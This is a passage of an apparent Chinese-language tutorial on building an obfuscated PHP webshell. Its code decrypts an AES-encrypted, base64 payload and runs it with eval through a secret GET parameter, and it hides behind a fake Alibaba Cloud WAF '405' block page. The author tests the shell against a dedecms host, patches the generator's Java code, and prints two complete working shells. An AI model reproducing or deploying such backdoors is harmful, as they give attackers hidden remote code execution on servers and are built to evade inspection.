NB+z1ZXIOn9T4IV845Kec/IJnN4n9qSaA17zXzdq1CzgT/38NTnM/zuRdqoaFr69iyI1tVu69n5/pbqHkygKuA33EX9s+DhWLS2V1eXgu+4rTy6Ci47sf4DxnZwCEeAn79yFeDF4CsJz96fb2aSKJ2cqhW2C2KIY+D5hqB8CEPPxLWmfMS3gKBScDQHlgFjwSo+1LQF5msdVJ+hZXW9J0DptaAVLI386Y4Z68CDM+YFNHs/pq6CG+SW5JHm0kQqO+Bj+vTLS6YuNkHTFbTK0MeIzS9VZTirPCRxaYXxT3aWaWqgnNVCpfUkTgW8aFngKauKmyrc9H1hPtj8TyfBWU5CYuUdK8Nkyf5LIHHOM8mQGmrp+NzFznY/7jzeNpS2YXhrcjyfQYP/tvpnVp2oJkR4NTlVe09huwXK+YpJX/Sp9APOusDU86AOy3Se1OnmqqMpOTxbIrq0lUl2CwAHp5AM0Dvo7ljTmmvkqh0GWZqOY+f/Vdijj5mRA6dlg7e22GTmq08E8tdT8XGUYWms/QHQH9pNwijjeNzyYT8XasHz5j2kIm0I0ClAehaYRCaRA8+oYQZt7pw64nkDy3V98NioZ+gkHimx60gdBudkHjwBkPjO30F/kuiHtCTHrZX1ldMQYSBS1uke1gb+WCgefQ/hwlDLXtoc6txVLBChxuKnfBa+jGB1I4Xp/bJsdV5WUt0U4PlyeQu+3Gl/aZvWlBw3AGQ47+abN/LumWNpSbHnMBSZCUIuAaD4oVCfxkULKjulYKKXB4aKqZdFeWGJt3teK5cUOa/7lD7ZmcJ7rT+b0eg0jTJJM2+SVYhjWepfzZnC7dQAMJT0lF8fQTR2RysEIdqhAAxKTg6OQfXI9Y6FiuTLflhG7NBYKJ2voluxfFxIb5dzjay061xQlLXobUYBdJ/pV7SqWN/nErfB570n1s+AFQoIhraW9kgISYd/4HDa4NXsIntWBgLHFnE4KFSuXR6sloTIfgtzAbcrude7eo2pvdJgn8AMF76LEIrOZ8XXZ4eix71HAHc49F4y6QzCfwW0QxrYPkys1jpF+xARkgKpEuKI2Xv8rQRZD7iZoe2cX5tUdcBRSpf6KdG4wdeQU+WuqTtS9pr4FYHWZPXkRx+g8qXDOCbzd+BtmwHWCvaHXfogEx0XEKQcAS39hMjI7uCZYCbg2s8Ovb9pwqGwtE4sOkC0r3EfvtTy06oKIzDXhnTqadVZ5cPy/0ELeo/sd70+nJ0gXQ99GKnNN0+TclMd09NapAIHguKlX84rWktsVwMQPz/CBcPy/0ELeo/sd70+nJ0gXQ99GKnNN0+TclMd09NapAIPqivx21M89vwoDj3+PoMjH+483jaUtmF4a3I8n0GD/756Mj+XOq7SjUObun8FWsZPM+ogAEpsPEcDwilQH8EPrviy1TFEA8q5mqQEP670dYf1CzUE3kGQ+cWM44Y/XY9kJ3gY300snPdGSr41Q/WcW0IudtNnl4Mupta7RejdKfYSOYB4k59NVodOQjUr4kTp8af4RG9JJndpqNhaTCo5VYWE24aqCMQUqqgHPzXEA1pQUKzCxkCLdw3tLCZ6L2xntAZGnIIlUJzn5OM68PsmY=';
        $file = openssl_decrypt(cFile::de($fileurl), "AES-128-ECB", $sign,OPENSSL_PKCS1_PADDING);
        $file_error = $$filename;
        @eval($file_error);
        return "filename";
    }
    public static function getPriv() {
        return 'selectFile';
    }
    public static function de($fileurl){
        return base64_decode($fileurl);
    }
}
//$cfile = 'cFile';
$cfile = $_GET['z7asuj'];
$error = [$cfile,[$cfile,'getPriv']()];
$error('file');

$Vdo3Oc = "<!DOCTYPE html>
<html lang="zh-cn">

<head>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
    <meta name="data-spm" content="a3c0e" />
    <title>
        405
    </title>
    <script src="//g.alicdn.com/code/lib/qrcodejs/1.0.0/qrcode.min.js"></script>
    <style>
        html,
        body,
        div,
        a,
        h2,
        p {
            margin: 0;
            padding: 0;
            font-family: 微软雅黑;
        }

        a {
            text-decoration: none;
            color: #3b6ea3;
        }

        .container {
            width: 1000px;
            margin: auto;
            color: #696969;
        }

        .header {
            padding: 50px 0;
        }

        .header .message {
            height: 36px;
            padding-left: 120px;
            background: url(https://errors.aliyun.com/images/TB1TpamHpXXXXaJXXXXeB7nYVXX-104-162.png) no-repeat 0 -128px;
            line-height: 36px;
        }

        .main {
            padding: 50px 0;
            background:
                #f4f5f7;
        }

        .main img {
            position: relative;
            left: 120px;
        }

        .footer {
            margin-top:
                30px;
            text-align: right;
        }

        .footer a {
            padding: 8px 30px;
            border-radius:
                10px;
            border: 1px solid #4babec;
        }

        .footer a:hover {
            opacity: .8;
        }

        .alert-shadow {
            display: none;
            position: absolute;
            top: 0;
            left: 0;
            width: 100%;
            height:
                100%;
            background: #999;
            opacity: .5;
        }

        .alert {
            display: none;
            position:
                absolute;
            top: 200px;
            left: 50%;
            width: 600px;
            margin-left: -300px;
            padding-bottom:
                25px;
            border: 1px solid #ddd;
            box-shadow: 0 2px 2px 1px rgba(0, 0, 0, .1);
            background: #fff;
            font-size: 14px;
            color: #696969;
        }

        .alert h2 {
            margin:
                0 2px;
            padding: 10px 15px 5px 15px;
            font-size: 14px;
            font-weight: normal;
            border-bottom: 1px solid #ddd;
        }

        .alert a {
            display: block;
            position: absolute;
            right: 10px;
            top: 8px;
            width: 30px;
            height: 20px;
            text-align: center;
        }

        .alert p {
            padding: 20px 15px;
        }

        #feedback-container {
            width: 110px;
            margin: auto;
            margin-top: 120px;
            text-align: center;
        }

        #qrcode {
            margin: 0 15px 5px 15px;
        }

        #feedback a {
            color: #999;
            font-size: 12px;
            margin-top: 5px;
        }
    </style>
</head>

<body data-spm="7663354">
    <script>
        with (document) with (body) with (insertBefore(createElement("script"), firstChild)) setAttribute("exparams", "category=&userid=685308295&aplus&udpid=VWeUOceQJdKj&&yunid=&e93b4e3e75e05&trid=6525b79615839206094003938e&asid=AYf52CjhtWhe+af+HQAAAACWA/SInO3QLw==", id = "tb-beacon-aplus", src = (location > "https" ? "//g" : "//g") + ".alicdn.com/alilog/mlog/aplus_v2.js")
    </script>
    <script>
        //
        var i18nObject = {
            "zh-cn": {
                "message": "很抱歉，由于您访问的URL有可能对网站造成安全威胁，您的访问被阻断。",
                "bgImg": "https://errors.aliyun.com/images/TB15QGaHpXXXXXOaXXXXia39XXX-660-117.png",
                "report": "误报反馈",
            },
            "en-us": {
                "message": "Sorry, we have detected malicious traffic from your network, please try again later.",
                "bgImg": "https://img.alicdn.com/tfs/TB1ADAOIFzqK1RjSZSgXXcpAVXa-1320-234.jpg",
                "report": "Report",
            }
        }
        var i18n = i18nObject["en-us"];
        if (navigator.language.indexOf("zh") >= 0) {
            i18n = i18nObject["zh-cn"];
        }

    </script>

    <div data-spm="1998410538">
        <div class="header">
            <div class="container">
                <div class="message">
                    <script>document.write(i18n.message)</script>
                </div>
            </div>
        </div>
        <div class="main">
            <div class="container">
                <script>document.write('<img width="660" height="117" src="' + i18n.bgImg + '"/>')</script>

            </div>
        </div>
        <div class="footer">
            <div class="container">
                <span style='display:none'>
                    <script>
                        function getQueryString(url, name) {
                            var reg = new RegExp('(^|&)' + name + '=([^&]*)(&|$)');
                            var r = url.substr(1).match(reg);
                            if (r !== null) return unescape(r[2]); return null;
                        }
                        var __uuid___ = getQueryString(location.href, "uuid")
                    </script>
                </span>
                <a target="_blank" id="report" href="javascript:;" data-spm-click="gostr=/waf.123.123;locaid=d001;">
                    <script>document.write(i18n.report)</script>
                </a>
            </div>
        </div>
    </div>
    <div id="alertShadow" class="alert-shadow">
    </div>
    <div id="alertContainer" class="alert">
        <h2>
            提示：
            <a href="javascript:;" title="关闭" id="closeAlert">
                X
            </a>
        </h2>
        <p>
            感谢您的反馈，应用防火墙会尽快进行分析和确认。
        </p>
    </div>
    <div id="feedback-container">
        <div id="qrcode"></div>
        <div id="feedback"></div>
    </div>
    <script>
        function show() {
            var g = function (ele) {
                return document.getElementById(ele);
            };
            var reportHandle = g('report');
            var alertShadow = g('alertShadow');
            var alertContainer = g('alertContainer');
            var closeAlert = g('closeAlert');
            var own = {};
            own.report = function () { 
                own.alert();
            }; own.alert = function () { alertShadow.style.display = 'block'; alertContainer.style.display = 'block'; }; own.close = function () { alertShadow.style.display = 'none'; alertContainer.style.display = 'none'; };
        };

        var uuid = location.href.match(/uuid=([^&]+)/);
        uuid = uuid && encodeURIComponent(uuid[1]);
        var urlQrCode = location.href.match(/qrcode=([^&]+)/);
        urlQrCode = urlQrCode && decodeURIComponent(urlQrCode[1]);
        if (uuid || urlQrCode) {
            var qrcode = new QRCode(document.getElementById("qrcode"), {
                text: urlQrCode || uuid,
                width: 80,
                height: 80,
                colorDark: "#999",
            });
            var feedbackLink = getFeedbackLink();
            document.getElementById("feedback").innerHTML = feedbackLink;
        }
        function getFeedbackLink() {
            var urlOrigin;
            urlOrigin = location.href.match(/origin=([^&]+)/);
            urlOrigin = urlOrigin && decodeURIComponent(urlOrigin[1]).split("?")[0];
            if (urlOrigin) {
                try {
                    urlOrigin = new URL(urlOrigin);
                    if (urlOrigin.protocol !== "https:" && urlOrigin.protocol !== "http:") {
                        urlOrigin = null;
                    } else {
                        urlOrigin = urlOrigin.href;
                    }
                } catch (e) {
                    if (typeof urlOrigin !== "string" || urlOrigin.indexOf("http") !== 0) {
                        urlOrigin = null;
                    } else {
                        urlOrigin = filterHtml(urlOrigin);
                    }
                }
            }
            var _language = navigator.browserLanguage || navigator.language;
            var text = ["zh-CN", "zh-cn"].includes(_language) ? "点我反馈 >" : "Click to feedback >";
            return '<a href="' + urlOrigin + '/_____tmd_____/page/feedback?rand=S3WxGHAgAt756EpznwfNzJq2AFA2qBNla3j6EINUS8We9dazM_iKElp8DwVSHZUevpC41Bx7RzivXIj9RnZgdg&uuid=' + encodeURIComponent(uuid) + '&type=6" target="_blank">' + text + '</a>';
        };
        function filterHtml(str) {
            str = str.replace(/&/g, "");
            str = str.replace(/>/g, "");
            str = str.replace(/</g, "");
            str = str.replace(/"/g, "");
            str = str.replace(/'/g, "");
            str = str.replace(/`/g, "");
            str = str.replace(/javascript/g, "");
            str = str.replace(/iframe/g, "");
            return str;
        }

    </script>
    <script type="text/javascript" charset="utf-8" src="https://errors.aliyun.com/error.js?s=10">
    </script>
</body>

</html>";
if( count($_REQUEST) || file_get_contents("php://input") ){

}else{
    header('Content-Type:text/html;charset=utf-8');    http_response_code(405);
    echo base64_decode/**/($Vdo3Oc);
}

需要注意木马的

$cfile = $_GET['z7asuj'];
$error = [$cfile,[$cfile,'getPriv']()];
$error('file');

连接的时候我们需要使用到 z7asuj

http://dedecms:5135/2.php?z7asuj=cfile

我们连接木马

成功连接了

我们看看流量

修改一下代理,bp 抓

并没有我们的 waf,奇怪

估计是因为原模板的原因

搞了半天,发现应该是 if 条件的问题

if( count($_REQUEST) || file_get_contents("php://input") ){

}else{
    header('Content-Type:text/html;charset=utf-8');    http_response_code(493);
    echo base64_decode/**/($wNjxUR);
}

虽然我是不知道这个 if 条件是干嘛的,但是删除这个 if 后

waf 页面终于出现了,所以我又去修改了一下源码

当然 if 条件的作用可能我没有理解到

public String SetPhp(String name, String code) {
    this.key = RandomString.getRString(6);
    this.pretendHtml = "\r\n$" + this.key + " = \"" + name + "\";\r\n    header('Content-Type:text/html;charset=utf-8');    http_response_code(" + code + ");\r\n    echo base64_decode/**/($" + this.key + ");\r\n";
    return this.pretendHtml;
}

然后再次构建后我们生成一个木马

<?php
error_reporting(0);
class cFile {
    public static function selectFile($filename){
        $sign = 'fc70f4eeba33b088';
        $fileurl = 'thNWzx4QzyHN0yIlTL77046uhj2EUqC4LopjZ65a2GYMJp4KOPDgUVUxnQeAjvdCZOsDDikQU1TuchgV4PCCQWwmX92lXXKvcIA6d7JEcbliO/fwIt4xPOEjiGsJlS7KeVtms9yagGvNZyMNoOfh+270S3BIE1UvfgBZjq9BdLDCHN5OfuUnV/MQ47POitbx5xd9nyV4eXmBqczgCflf/Wso0KYMYixiHIGjvyZYBY/QN/Drd+uScl5uYfbWDDm8Z9z+MqdHlWfxad+YkhyJc/JI4D4qghvU7VHVoKmaz1P0ubfL8shE5Z0gTPyvStELT+KC45tnBzGWz1qFy92h2/d3bMm1zjfcFRJdOJoQJcRtlcQBhi0XaC3wdhzThHHF3DqVDS/9AayiCEfNN5oKFpst932m/1ftCuf5MI9MY2pg5Yuh27dmAiod+EvEw43FUHP1QArBUio3HIrIrKTv/gg0urbmQUSZ9Fovdo4PTV9uAWGNu9PU/jKK1bTodPISUqNsH9nBIdv0xMbBjBh+uWe8MfpJ39gggYxuIcI4aSLC6LoLsY1GTaoGDrHBwiDX5ivFhil8AlgK718ET01jGnuiMKjutW2KsarUR57U7EZSKaW1KuYfDQemeVXhvW+MihHJO/prR4RcGhV+p9nuZAmVxuyrvmn+vL3qrHpY4xjzrJoJQf4s9KhbNY/fj9yopTqCtHyNYBPLFLwNpYIRkqs3+qo2dUHfw+RFQ98/sAm+Uas0DBcDIuvy4U04SRzzlLp3SIL2QUeERKc6TCQV/PxTUgJmZeDvufcmly6NqkwFE/v9a+cDytSSKdDkWUVqK1mlKe45hXMdUdA6TCuwurGeOTJg43GyaC9LvVOensqJ/l6XWUvtNuvDBr9BkbBkvh/P0NTjSdsLswG6RKkU/J05BsFHCu0NB+z1ZXIOn9T4IV845Kec/IJnN4n9qSaA17zXzdq1CzgT/38NTnM/zuRdqoaFr69iyI1tVu69n5/pbqHkygKuA33EX9s+DhWLS2V1eXgu+4rTy6Ci47sf4DxnZwCEeAn79yFeDF4CsJz96fb2aSKJ2cqhW2C2KIY+D5hqB8CEPPxLWmfMS3gKBScDQHlgFjwSo+1LQF5msdVJ+hZXW9J0DptaAVLI386Y4Z68CDM+YFNHs/pq6CG+SW5JHm0kQqO+Bj+vTLS6YuNkHTFbTK0MeIzS9VZTirPCRxaYXxT3aWaWqgnNVCpfUkTgW8aFngKauKmyrc9H1hPtj8TyfBWU5CYuUdK8Nkyf5LIHHOM8mQGmrp+NzFznY/7jzeNpS2YXhrcjyfQYP/tvpnVp2oJkR4NTlVe09huwXK+YpJX/Sp9APOusDU86AOy3Se1OnmqqMpOTxbIrq0lUl2CwAHp5AM0Dvo7ljTmmvkqh0GWZqOY+f/Vdijj5mRA6dlg7e22GTmq08E8tdT8XGUYWms/QHQH9pNwijjeNzyYT8XasHz5j2kIm0I0ClAehaYRCaRA8+oYQZt7pw64nkDy3V98NioZ+gkHimx60gdBudkHjwBkPjO30F/kuiHtCTHrZX1ldMQYSBS1uke1gb+WCgefQ/hwlDLXtoc6txVLBChxuKnfBa+jGB1I4Xp/bJsdV5WUt0U4PlyeQu+3Gl/aZvWlBw3AGQ47+abN/LumWNpSbHnMBSZCUIuAaD4oVCfxkULKjulYKKXB4aKqZdFeWGJt3teK5cUOa/7lD7ZmcJ7rT+b0eg0jTJJM2+SVYhjWepfzZnC7dQAMJT0lF8fQTR2RysEIdqhAAxKTg6OQfXI9Y6FiuTLflhG7NBYKJ2voluxfFxIb5dzjay061xQlLXobUYBdJ/pV7SqWN/nErfB570n1s+AFQoIhraW9kgISYd/4HDa4NXsIntWBgLHFnE4KFSuXR6sloTIfgtzAbcrude7eo2pvdJgn8AMF76LEIrOZ8XXZ4eix71HAHc49F4y6QzCfwW0QxrYPkys1jpF+xARkgKpEuKI2Xv8rQRZD7iZoe2cX5tUdcBRSpf6KdG4wdeQU+WuqTtS9pr4FYHWZPXkRx+g8qXDOCbzd+BtmwHWCvaHXfogEx0XEKQcAS39hMjI7uCZYCbg2s8Ovb9pwqGwtE4sOkC0r3EfvtTy06oKIzDXhnTqadVZ5cPy/0ELeo/sd70+nJ0gXQ99GKnNN0+TclMd09NapAIHguKlX84rWktsVwMQPz/CBcPy/0ELeo/sd70+nJ0gXQ99GKnNN0+TclMd09NapAIPqivx21M89vwoDj3+PoMjH+483jaUtmF4a3I8n0GD/756Mj+XOq7SjUObun8FWsZPM+ogAEpsPEcDwilQH8EPrviy1TFEA8q5mqQEP670dYf1CzUE3kGQ+cWM44Y/XY9kJ3gY300snPdGSr41Q/WcW0IudtNnl4Mupta7RejdKfYSOYB4k59NVodOQjUr4kTp8af4RG9JJndpqNhaTCo5VYWE24aqCMQUqqgHPzXEA1pQUKzCxkCLdw3tLCZ6L2xntAZGnIIlUJzn5OM68PsmY=';
        $file = openssl_decrypt(cFile::de($fileurl), "AES-128-ECB", $sign,OPENSSL_PKCS1_PADDING);
        $file_error = $$filename;
        @eval($file_error);
        return "filename";
    }
    public static function getPriv() {
        return 'selectFile';
    }
    public static function de($fileurl){
        return base64_decode($fileurl);
    }
}
//$cfile = 'cFile';
$cfile = $_GET['2mppel'];
$error = [$cfile,[$cfile,'getPriv']()];
$error('file');

$ad0PNj = "<!DOCTYPE html>
<html lang="zh-cn">

<head>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
    <meta name="data-spm" content="a3c0e" />
    <title>
        405
    </title>
    <script src="//g.alicdn.com/code/lib/qrcodejs/1.0.0/qrcode.min.js"></script>
    <style>
        html,
        body,
        div,
        a,
        h2,
        p {
            margin: 0;
            padding: 0;
            font-family: 微软雅黑;
        }

        a {
            text-decoration: none;
            color: #3b6ea3;
        }

        .container {
            width: 1000px;
            margin: auto;
            color: #696969;
        }

        .header {
            padding: 50px 0;
        }

        .header .message {
            height: 36px;
            padding-left: 120px;
            background: url(https://errors.aliyun.com/images/TB1TpamHpXXXXaJXXXXeB7nYVXX-104-162.png) no-repeat 0 -128px;
            line-height: 36px;
        }

        .main {
            padding: 50px 0;
            background:
                #f4f5f7;
        }

        .main img {
            position: relative;
            left: 120px;
        }

        .footer {
            margin-top:
                30px;
            text-align: right;
        }

        .footer a {
            padding: 8px 30px;
            border-radius:
                10px;
            border: 1px solid #4babec;
        }

        .footer a:hover {
            opacity: .8;
        }

        .alert-shadow {
            display: none;
            position: absolute;
            top: 0;
            left: 0;
            width: 100%;
            height:
                100%;
            background: #999;
            opacity: .5;
        }

        .alert {
            display: none;
            position:
                absolute;
            top: 200px;
            left: 50%;
            width: 600px;
            margin-left: -300px;
            padding-bottom:
                25px;
            border: 1px solid #ddd;
            box-shadow: 0 2px 2px 1px rgba(0, 0, 0, .1);
            background: #fff;
            font-size: 14px;
            color: #696969;
        }

        .alert h2 {
            margin:
                0 2px;
            padding: 10px 15px 5px 15px;
            font-size: 14px;
            font-weight: normal;
            border-bottom: 1px solid #ddd;
        }

        .alert a {
            display: block;
            position: absolute;
            right: 10px;
            top: 8px;
            width: 30px;
            height: 20px;
            text-align: center;
        }

        .alert p {
            padding: 20px 15px;
        }

        #feedback-container {
            width: 110px;
            margin: auto;
            margin-top: 120px;
            text-align: center;
        }

        #qrcode {
            margin: 0 15px 5px 15px;
        }

        #feedback a {
            color: #999;
            font-size: 12px;
            margin-top: 5px;
        }
    </style>
</head>

<body data-spm="7663354">
    <script>
        with (document) with (body) with (insertBefore(createElement("script"), firstChild)) setAttribute("exparams", "category=&userid=685308295&aplus&udpid=VWeUOceQJdKj&&yunid=&e93b4e3e75e05&trid=6525b79615839206094003938e&asid=AYf52CjhtWhe+af+HQAAAACWA/SInO3QLw==", id = "tb-beacon-aplus", src = (location > "https" ? "//g" : "//g") + ".alicdn.com/alilog/mlog/aplus_v2.js")
    </script>
    <script>
        //
        var i18nObject = {
            "zh-cn": {
                "message": "很抱歉，由于您访问的URL有可能对网站造成安全威胁，您的访问被阻断。",
                "bgImg": "https://errors.aliyun.com/images/TB15QGaHpXXXXXOaXXXXia39XXX-660-117.png",
                "report": "误报反馈",
            },
            "en-us": {
                "message": "Sorry, we have detected malicious traffic from your network, please try again later.",
                "bgImg": "https://img.alicdn.com/tfs/TB1ADAOIFzqK1RjSZSgXXcpAVXa-1320-234.jpg",
                "report": "Report",
            }
        }
        var i18n = i18nObject["en-us"];
        if (navigator.language.indexOf("zh") >= 0) {
            i18n = i18nObject["zh-cn"];
        }

    </script>

    <div data-spm="1998410538">
        <div class="header">
            <div class="container">
                <div class="message">
                    <script>document.write(i18n.message)</script>
                </div>
            </div>
        </div>
        <div class="main">
            <div class="container">
                <script>document.write('<img width="660" height="117" src="' + i18n.bgImg + '"/>')</script>

            </div>
        </div>
        <div class="footer">
            <div class="container">
                <span style='display:none'>
                    <script>
                        function getQueryString(url, name) {
                            var reg = new RegExp('(^|&)' + name + '=([^&]*)(&|$)');
                            var r = url.substr(1).match(reg);
                            if (r !== null) return unescape(r[2]); return null;
                        }
                        var __uuid___ = getQueryString(location.href, "uuid")
                    </script>
                </span>
                <a target="_blank" id="report" href="javascript:;" data-spm-click="gostr=/waf.123.123;locaid=d001;">
                    <script>document.write(i18n.report)</script>
                </a>
            </div>
        </div>
    </div>
    <div id="alertShadow" class="alert-shadow">
    </div>
    <div id="alertContainer" class="alert">
        <h2>
            提示：
            <a href="javascript:;" title="关闭" id="closeAlert">
                X
            </a>
        </h2>
        <p>
            感谢您的反馈，应用防火墙会尽快进行分析和确认。
        </p>
    </div>
    <div id="feedback-container">
        <div id="qrcode"></div>
        <div id="feedback"></div>
    </div>
    <script>
        function show() {
            var g = function (ele) {
                return document.getElementById(ele);
            };
            var reportHandle = g('report');
            var alertShadow = g('alertShadow');
            var alertContainer = g('alertContainer');
            var closeAlert = g('closeAlert');
            var own = {};
            own.report = function () { 
                own.alert();
            }; own.alert = function () { alertShadow.style.display = 'block'; alertContainer.style.display = 'block'; }; own.close = function () { alertShadow.style.display = 'none'; alertContainer.style.display = 'none'; };
        };

        var uuid = location.href.match(/uuid=([^&]+)/);
        uuid = uuid && encodeURIComponent(uuid[1]);
        var urlQrCode = location.href.match(/qrcode=([^&]+)/);
        urlQrCode = urlQrCode && decodeURIComponent(urlQrCode[1]);
        if (uuid || urlQrCode) {
            var qrcode = new QRCode(document.getElementById("qrcode"), {
                text: urlQrCode || uuid,
                width: 80,
                height: 80,
                colorDark: "#999",
            });
            var feedbackLink = getFeedbackLink();
            document.getElementById("feedback").innerHTML = feedbackLink;
        }
        function getFeedbackLink() {
            var urlOrigin;
            urlOrigin = location.href.match(/origin=([^&]+)/);
            urlOrigin = urlOrigin && decodeURIComponent(urlOrigin[1]).split("?")[0];
            if (urlOrigin) {
                try {
                    urlOrigin = new URL(urlOrigin);
                    if (urlOrigin.protocol !== "https:" && urlOrigin.protocol !== "http:") {
                        urlOrigin = null;
                    } else {
                        urlOrigin = urlOrigin.href;
                    }
                } catch (e) {
                    if (typeof urlOrigin !== "string" || urlOrigin.indexOf("http") !== 0) {
                        urlOrigin = null;
                    } else {
                        urlOrigin = filterHtml(urlOrigin);
                    }
                }
            }
            var _language = navigator.browserLanguage || navigator.language;
            var text = ["zh-CN", "zh-cn"].includes(_language) ? "点我反馈 >" : "Click to feedback >";
            return '<a href="' + urlOrigin + '/_____tmd_____/page/feedback?rand=S3WxGHAgAt756EpznwfNzJq2AFA2qBNla3j6EINUS8We9dazM_iKElp8DwVSHZUevpC41Bx7RzivXIj9RnZgdg&uuid=' + encodeURIComponent(uuid) + '&type=6" target="_blank">' + text + '</a>';
        };
        function filterHtml(str) {
            str = str.replace(/&/g, "");
            str = str.replace(/>/g, "");
            str = str.replace(/</g, "");
            str = str.replace(/"/g, "");
            str = str.replace(/'/g, "");
            str = str.replace(/`/g, "");
            str = str.replace(/javascript/g, "");
            str = str.replace(/iframe/g, "");
            return str;
        }

    </script>
    <script type="text/javascript" charset="utf-8" src="https://errors.aliyun.com/error.js?s=10">
    </script>
</body>

</html>";
header('Content-Type:text/html;charset=utf-8');
http_response_code(405);
echo base64_decode/**/($ad0PNj);

可以看到已经完美了